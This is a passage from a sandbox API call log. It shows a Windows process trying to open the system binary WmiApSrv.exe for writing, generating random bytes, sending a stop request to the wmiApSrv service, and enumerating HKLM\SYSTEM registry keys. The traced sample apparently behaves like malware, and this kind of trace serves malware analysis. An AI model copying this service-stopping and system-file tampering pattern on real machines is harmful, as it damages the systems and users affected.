nFileSizeLow=0x44000)) returned 1 [0232.688] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.688] GetLastError () returned 0x20 [0232.688] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0232.689] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0232.689] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0232.689] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x803990 [0232.689] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0232.689] GetLastError () returned 0x425 [0232.689] CloseServiceHandle (hSCObject=0x803990) returned 1 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0232.690] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.690] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.690] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.690] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.690] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.690] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.691] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.691] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.691] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0232.691] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.691] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.691] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.692] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.692] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.692] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.692] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.692] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.692] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.692] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.693] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.693] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.693] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.693] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.693] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.694] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.694] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.694] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.694] RegCloseKey (hKey=0x148) returned 0x0 [0232.694] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0232.694] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.694] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.694] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.695] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.695] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0232.695] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.695] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.695] RegEnumKeyW (in: hKey=0x150, 